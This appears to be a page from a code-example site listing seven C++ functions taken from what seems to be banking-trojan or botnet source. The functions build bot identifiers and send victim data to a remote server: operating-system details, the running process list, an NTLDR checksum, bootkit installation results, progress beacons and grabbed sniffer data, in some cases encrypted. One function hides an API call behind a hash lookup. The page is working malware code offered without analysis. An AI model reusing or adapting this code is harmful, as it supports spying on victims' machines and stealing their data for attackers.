Exemplo n.º 1
0
void DebugReportSendSysInfo(PCHAR uid, PCHAR url, PCHAR path)
{
	PStrings Fields = Strings::Create();
	AddURLParam(Fields, "cmd", "storefile");
	AddURLParam(Fields, "uid", (PCHAR)uid);

	PCHAR Params = Strings::GetText(Fields, "&");
	PCHAR URL = STR::New(2, url, Params);

	DBGRPTDBG("DebugReportSendSysInfo", "sending url='%s'", URL);

	PMultiPartData Data = MultiPartData::Create();

	MultiPartData::AddFileField(Data, "rep", path, NULL);
	PCHAR Buffer = NULL;
	bool Result = HTTP::Post(URL, Data, &Buffer, NULL);

	DBGRPTDBG("DebugReportSendSysInfo", "HTTP::Post() result %d", Result);

	STR::Free(Buffer);
	MultiPartData::Free(Data);
	STR::Free(URL);
	STR::Free(Params);
	Strings::Free(Fields);
}
Exemplo n.º 2
0
bool GetDriverUrl(char * UrlBuffer, DWORD UrlBufferSize)
{
	DebugReportSettings* settings = DebugReportGetSettings();
	DBGRPTDBG("GetDriverUrl",
		"Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'",
		settings->Enabled, settings->StatPrefix, settings->StatUrl
		);

	if (!settings->Enabled) return false;
	string BotUid = GenerateUidAsString(settings->StatPrefix);

	m_memset(UrlBuffer, 0, UrlBufferSize);

	PStrings Fields = Strings::Create();
	AddURLParam(Fields, "cmd", "step");
	AddURLParam(Fields, "uid", BotUid.t_str());
	AddURLParam(Fields, "step", "170_dr"); //170_dr таймер драйвера

	PCHAR Params = Strings::GetText(Fields, "&");
	PCHAR URL = STR::New(2, settings->StatUrl, Params);
	
	DBGRPTDBG("GetDriverUrl", "Url='%s':%u (buffer_size=%u)", URL, STR::Length(URL),
		UrlBufferSize);

	if (UrlBufferSize < (STR::Length(URL) - 1)) return false;

	m_lstrcpy(UrlBuffer, URL);

	STR::Free(URL);
	STR::Free(Params);
	Strings::Free(Fields);
	DebugReportFreeSettings(settings);
	
	return true;
}
Exemplo n.º 3
0
void DebugReportStepByName(const char* StepName)
{
	DebugReportSettings* settings = DebugReportGetSettings();
	DBGRPTDBG("DebugReportStepByName",
		"Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'",
		settings->Enabled, settings->StatPrefix, settings->StatUrl
		);

	if (!settings->Enabled) return;
	string BotUid = GenerateUidAsString(settings->StatPrefix);

	PStrings Fields = Strings::Create();
	AddURLParam(Fields, "cmd", "step");
	AddURLParam(Fields, "uid", BotUid.t_str());
	AddURLParam(Fields, "step", (PCHAR)StepName);

	PCHAR Params = Strings::GetText(Fields, "&");
	PCHAR URL = STR::New(2, settings->StatUrl, Params);

	DBGRPTDBG("DebugReportStepByName", "go to url='%s'", URL);

	PCHAR Buffer = NULL;
	HTTP::Get(URL, &Buffer, NULL);

	STR::Free(Buffer);
	STR::Free(URL);
	STR::Free(Params);
	Strings::Free(Fields);
	DebugReportFreeSettings(settings);
}
Exemplo n.º 4
0
bool SendGrabberReport(PCHAR URL, PCHAR Buf, DWORD BufSize)
{
	if (STR::IsEmpty(URL) || Buf == NULL || BufSize == 0)
		return false;

	// Собираем  данные сниффера

	PCHAR BotID = GenerateBotID();

	PStrings Fields = Strings::Create();

	AddURLParam(Fields, "id", BotID);
	AddURLParam(Fields, "base", Buf, BufSize);
    STR::Free(BotID);

	THTTPResponseRec Response;
    ClearStruct(Response);

	#ifdef CryptHTTPH
        PCHAR Password = GetMainPassword();
		bool Result =  CryptHTTP::Post(URL, Password, Fields, NULL, &Response);
		STR::Free(Password);
	#else
		bool Result =  HTTP::Post(URL, Fields, NULL, &Response);
	#endif
	Strings::Free(Fields);

	Result = Result && CheckValidPostResult(&Response, NULL);
	HTTPResponse::Clear(&Response);

	return Result;
}
Exemplo n.º 5
0
void DebugReportSystem()
{
	DebugReportSettings* settings = DebugReportGetSettings();
	DBGRPTDBG("DebugReportSystem",
		"Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'",
		settings->Enabled, settings->StatPrefix, settings->StatUrl
		);

	if (!settings->Enabled) return;
	string BotUid = GenerateUidAsString(settings->StatPrefix);

	CHAR NtldrMd5Buffer[100];
	PCHAR OsInfo = NULL;
	PCHAR NtldrMd5 = NULL;

	OsInfo = GetOSInfo();
	NtldrMd5 = CalcNtldrMd5(NtldrMd5Buffer, sizeof(NtldrMd5Buffer));

	PStrings Fields = Strings::Create();
	AddURLParam(Fields, "cmd", "beforerbt");
	AddURLParam(Fields, "uid", BotUid.t_str());
	AddURLParam(Fields, "os", OsInfo);

	if (NtldrMd5 != NULL)
	{
		AddURLParam(Fields, "cs01", NtldrMd5);
	}

	PCHAR Params = Strings::GetText(Fields, "&");
	PCHAR URL = STR::New(2, settings->StatUrl, Params);

	DBGRPTDBG("DebugReportSystem", "sending url='%s'", URL);

	PCHAR Buffer = NULL;
	HTTP::Get(URL, &Buffer, NULL);

	STR::Free(Buffer);
	STR::Free(URL);
	STR::Free(Params);
	Strings::Free(Fields);
	MemFree(OsInfo);
	DebugReportFreeSettings(settings);
}
Exemplo n.º 6
0
void DebugReportBkInstallCode(DWORD BkInstallResult)
{
	DebugReportSettings* settings = DebugReportGetSettings();
	DBGRPTDBG("DebugReportBkInstallCode",
		"Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'",
		settings->Enabled, settings->StatPrefix, settings->StatUrl
		);

	if (!settings->Enabled) return;
	string BotUid = GenerateUidAsString(settings->StatPrefix);

	CHAR value[50];

	typedef int ( WINAPI *fwsprintfA)( PCHAR lpOut, PCHAR lpFmt, ... );
	fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );

	m_memset(value, 0, sizeof(value));

	_pwsprintfA(value, "%u", BkInstallResult);

	PStrings Fields = Strings::Create();
	AddURLParam(Fields, "cmd", "bkinstall");
	AddURLParam(Fields, "uid", BotUid.t_str());
	AddURLParam(Fields, "val", value);

	PCHAR Params = Strings::GetText(Fields, "&");
	PCHAR URL = STR::New(2, settings->StatUrl, Params);
	
	DBGRPTDBG("DebugReportBkInstallCode", "sending url='%s'", URL);

	PCHAR Buffer = NULL;
	HTTP::Get(URL, &Buffer, NULL);

	STR::Free(Buffer);
	STR::Free(URL);
	STR::Free(Params);
	Strings::Free(Fields);
	DebugReportFreeSettings(settings);
}
Exemplo n.º 7
0
bool SendFirstInfo()
{
	// Функция отправляет информацию о системе
	PCHAR Script = GetBotScriptURL(SCRIPT_FIRST_INFO);
	if (Script == NULL)
		return false;

	PCHAR OSInfo   = GetOSInfo();
	PCHAR ProcList = GetProcessList();
	PCHAR ID = GenerateBotID();

    // Формируем POST данные
	PStrings Fields = Strings::Create();

	AddURLParam(Fields, "id", ID);
	AddURLParam(Fields, "os", OSInfo);
	AddURLParam(Fields, "plist", ProcList);


	MemFree(OSInfo);
	MemFree(ProcList);
	STR::Free(ID);

	// Лтправляем запрос
	#ifdef CryptHTTPH
		PCHAR Password = GetMainPassword();
		bool Result = CryptHTTP::Post(Script, Password, Fields, NULL, NULL);;
		STR::Free(Password);
	#else
		bool Result = HTTP::Post(Script, Fields, NULL, NULL);
	#endif

	Strings::Free(Fields);
	STR::Free(Script);

	return Result;
}